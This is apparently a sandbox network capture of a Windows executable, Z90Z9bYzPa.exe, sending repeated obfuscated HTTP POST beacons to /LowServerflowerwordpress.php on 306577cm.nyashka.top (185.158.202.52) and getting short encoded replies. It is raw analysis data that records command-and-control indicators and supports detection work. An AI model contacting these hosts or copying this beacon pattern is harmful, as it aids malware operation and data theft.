Jan 7, 2025 11:58:02.161807060 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:02.511254072 CET	2536	OUT	Data Raw: 50 5c 5c 53 5a 46 59 55 5a 59 51 55 5a 5d 50 54 55 55 5b 53 55 53 54 5c 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P\\SZFYUZYQUZ]PTUU[SUST\YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&<[(38!V 00P0&0Z=X!>0:?$8] 0X.$%[/ Q-,
Jan 7, 2025 11:58:02.799170017 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:02.927192926 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:57:59 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49852	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:03.059146881 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49854	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:03.236080885 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 1860 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:03.589524031 CET	1860	OUT	Data Raw: 50 53 5c 5a 5a 46 59 5b 5a 59 51 55 5a 55 50 50 55 52 5b 5e 55 54 54 5d 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PS\ZZFY[ZYQUZUPPUR[^UTT]YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%(!*+3 '63%8'Z>"><U=)$?; $Y.%[/ Q-
Jan 7, 2025 11:58:03.880956888 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:04.012717962 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 06 12 25 03 35 24 0d 56 33 03 20 0e 24 2b 2a 12 28 21 25 12 3c 0a 35 07 27 3b 30 0e 25 3f 3f 5f 21 2c 27 1d 29 3f 04 07 21 09 21 0f 32 29 28 5c 00 1b 24 13 33 32 2b 55 2a 32 0b 0e 31 37 00 5f 32 54 2c 15 22 2d 2d 0a 22 17 22 0c 22 3d 0a 53 3a 3e 3b 55 2b 34 3f 17 2f 34 3b 58 37 03 20 51 0d 17 3b 0a 33 3e 01 02 27 02 0c 1f 21 27 12 12 34 1b 21 1f 32 02 32 5b 32 2e 3f 5b 3c 07 37 03 35 12 31 1b 23 28 37 56 21 2a 3a 55 3d 2c 23 5d 22 00 20 52 0d 33 58 4f Data Ascii: %5$V3 $+(!%<5';0%??_!,')?!!2)(\$32+U217_2T,"--"""=S:>;U+4?/4;X7 Q;3>'!'4!22[2.?[<751#(7V!*:U=,#]" R3XO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49858	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:03.360778093 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:03.714380026 CET	2536	OUT	Data Raw: 55 5f 5c 5d 5a 43 59 50 5a 59 51 55 5a 58 50 56 55 52 5b 5f 55 55 54 53 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U_\]ZCYPZYQUZXPVUR[_UUTSYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&(!)+360?0/$+5&,%Z">$R>94$?$^7#X9%[/ Q-8
Jan 7, 2025 11:58:04.024732113 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:04.160648108 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:00 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49865	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:04.284768105 CET	260	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue
Jan 7, 2025 11:58:04.636250973 CET	2536	OUT	Data Raw: 50 5c 59 5f 5f 40 5c 51 5a 59 51 55 5a 55 50 54 55 55 5b 5f 55 5f 54 5e 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P\Y__@\QZYQUZUPTUU[_U_T^YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&?2"]+0!83$P';5_3<&">/)_+%,+#3,X-%[/ Q-
Jan 7, 2025 11:58:05.891771078 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:05.892373085 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W
Jan 7, 2025 11:58:05.892383099 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:01 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W
Jan 7, 2025 11:58:05.892565966 CET	183	IN	HTTP/1.1 100 Continue Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 75 65 2c 20 30 37 20 4a 61 6e 20 32 30 32 35 20 31 30 3a 35 38 3a 30 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 34 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 0d 0a 34 5a 5f 57 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Tue, 07 Jan 2025 10:58:01 GMTContent-Type: text/html; charset=UTF-8Content-Length: 4Connection: keep-alive4Z_W
Jan 7, 2025 11:58:05.892829895 CET	183	IN	HTTP/1.1 100 Continue Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 54 75 65 2c 20 30 37 20 4a 61 6e 20 32 30 32 35 20 31 30 3a 35 38 3a 30 31 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 34 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 6b 65 65 70 2d 61 6c 69 76 65 0d 0a 0d 0a 34 5a 5f 57 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Tue, 07 Jan 2025 10:58:01 GMTContent-Type: text/html; charset=UTF-8Content-Length: 4Connection: keep-alive4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49871	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:06.012166977 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:06.370724916 CET	2536	OUT	Data Raw: 50 5e 5c 52 5a 41 5c 55 5a 59 51 55 5a 55 50 53 55 50 5b 59 55 51 54 58 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P^\RZA\UZYQUZUPSUP[YUQTXYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%\*":<60'0<';)X35X"=3>4%<' #+-$%[/ Q-
Jan 7, 2025 11:58:06.662308931 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:06.791254997 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:03 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49877	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:06.918613911 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:07.277009010 CET	2536	OUT	Data Raw: 50 5a 5c 5a 5f 45 59 56 5a 59 51 55 5a 5f 50 51 55 51 5b 5c 55 54 54 52 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PZ\Z_EYVZYQUZ_PQUQ[\UTTRYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%X("_(?Z6,'3$8%Y'Z!#>>94%,778X.4%[/ Q-$
Jan 7, 2025 11:58:07.594150066 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:07.946748018 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:04 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49885	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:08.078706980 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:08.433121920 CET	2536	OUT	Data Raw: 50 59 59 5f 5a 44 59 5b 5a 59 51 55 5a 5d 50 51 55 54 5b 5b 55 55 54 59 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PYY_ZDY[ZYQUZ]PQUT[[UUTYYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%X+"2^(3_ 00+393,66-,=)0W'<? ;94%[/ Q-,
Jan 7, 2025 11:58:08.719189882 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:08.847981930 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49890	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:08.967118025 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49893	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:09.032735109 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 1860 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:09.386934996 CET	1860	OUT	Data Raw: 55 5f 5c 58 5f 44 59 50 5a 59 51 55 5a 58 50 57 55 55 5b 5b 55 54 54 5e 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U_\X_DYPZYQUZXPWUU[[UTT^YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&("_?#+^ #3Y3533&!.*_<0/8]"#;-$%[/ Q-8
Jan 7, 2025 11:58:09.697854996 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:09.836945057 CET	308	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 152 Connection: keep-alive Data Raw: 06 12 25 02 35 27 2f 1b 33 04 37 1d 26 2b 36 1c 3f 31 3d 13 29 20 35 02 25 2b 3b 54 26 02 05 5e 21 12 02 44 29 59 31 5f 35 1e 36 12 26 03 28 5c 00 1b 24 59 24 32 2c 0e 29 1c 26 1c 32 37 07 07 25 21 2f 04 35 13 22 54 36 29 22 0c 23 3d 06 53 2e 2e 23 56 3f 27 3b 59 39 51 24 03 34 13 20 51 0d 17 38 57 26 3d 3f 03 27 05 22 5a 21 0e 37 0c 23 25 03 5d 26 2c 00 12 27 2d 0d 59 28 29 1a 5a 35 3f 39 16 21 28 23 53 22 5c 2e 55 3e 16 23 5d 22 00 20 52 0d 33 58 4f Data Ascii: %5'/37&+6?1=) 5%+;T&^!D)Y1_56&(\$Y$2,)&27%!/5"T6)"#=S..#V?';Y9Q$4 Q8W&=?'"Z!7#%]&,'-Y()Z5?9!(#S"\.U>#]" R3XO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49894	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:09.151165009 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:09.495878935 CET	2536	OUT	Data Raw: 50 5b 5c 5a 5f 44 59 53 5a 59 51 55 5a 5e 50 51 55 51 5b 5e 55 57 54 5a 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P[\Z_DYSZYQUZ^PQUQ[^UWTZYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%<.\+3Z ('(%+9]$,9X"V)9V'Y+"30,4%[/ Q-
Jan 7, 2025 11:58:09.791100025 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:09.960494041 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:06 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.4	49900	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:10.092864990 CET	260	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue
Jan 7, 2025 11:58:10.448831081 CET	2536	OUT	Data Raw: 50 5e 59 59 5a 41 5c 51 5a 59 51 55 5a 5a 50 57 55 55 5b 53 55 51 54 53 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P^YYZA\QZYQUZZPWUU[SUQTSYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%(1*Z(00"08350'8%$6"$S))0?74-$%[/ Q-0
Jan 7, 2025 11:58:10.748788118 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:10.883802891 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:07 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.4	49906	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:11.012303114 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:11.370767117 CET	2536	OUT	Data Raw: 50 5e 5c 59 5f 47 5c 55 5a 59 51 55 5a 5e 50 55 55 57 5b 5a 55 51 54 5f 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: P^\Y_G\UZYQUZ^PUUW[ZUQT_YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU&?":\+3^" 3\35#0)05X S(9$S'$4+.4%[/ Q-
Jan 7, 2025 11:58:11.659385920 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:11.829032898 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:08 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.4	49913	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:11.951596975 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:12.308156013 CET	2532	OUT	Data Raw: 50 52 5c 5b 5f 40 59 5b 5a 59 51 55 5a 5c 50 57 55 55 5b 58 55 57 54 5c 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: PR\[_@Y[ZYQUZ\PWUU[XUWT\YYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%^+"2<035$%(W%+=$1[!.'*:/0<$Y##.%[/ Q-
Jan 7, 2025 11:58:12.615961075 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:12.749866009 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.4	49921	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
Jan 7, 2025 11:58:12.874989986 CET	284	OUT	POST /LowServerflowerwordpress.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0 Host: 306577cm.nyashka.top Content-Length: 2536 Expect: 100-continue Connection: Keep-Alive
Jan 7, 2025 11:58:13.230067968 CET	2536	OUT	Data Raw: 55 5e 5c 59 5f 45 59 54 5a 59 51 55 5a 5d 50 56 55 50 5b 52 55 56 54 53 59 59 59 51 5e 59 5d 5e 5c 5d 56 45 52 5a 56 5d 5f 51 54 5d 5b 5e 52 5a 56 57 5e 5c 5a 53 51 5f 52 57 50 5e 5b 56 5d 59 58 53 5a 58 5a 58 58 54 5f 58 5f 5e 5e 5c 5e 54 50 5f Data Ascii: U^\Y_EYTZYQUZ]PVUP[RUVTSYYYQ^Y]^\]VERZV]_QT][^RZVW^\ZSQ_RWP^[V]YXSZXZXXT_X_^^\^TP_\WVE\[SZYY[XZV^ZBVZ\[XZ]][_UGQ^G[QXXTP[PY\P\B[__[_ZXU^\_XRTWYRX[\]X\[@BYG[X_PUYS_]]^\]S_ZTQX_S]YTP[QXU%_?+3< \'5$0!Y$"!.#)' X 8^9$%[/ Q-,
Jan 7, 2025 11:58:13.521336079 CET	25	IN	HTTP/1.1 100 Continue
Jan 7, 2025 11:58:13.657116890 CET	158	IN	HTTP/1.1 200 OK Server: nginx Date: Tue, 07 Jan 2025 10:58:10 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4 Connection: keep-alive Data Raw: 34 5a 5f 57 Data Ascii: 4Z_W

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.4	49926	185.158.202.52	80	7560	C:\Users\user\Desktop\Z90Z9bYzPa.exe

Timestamp	Bytes transferred	Direction	Data
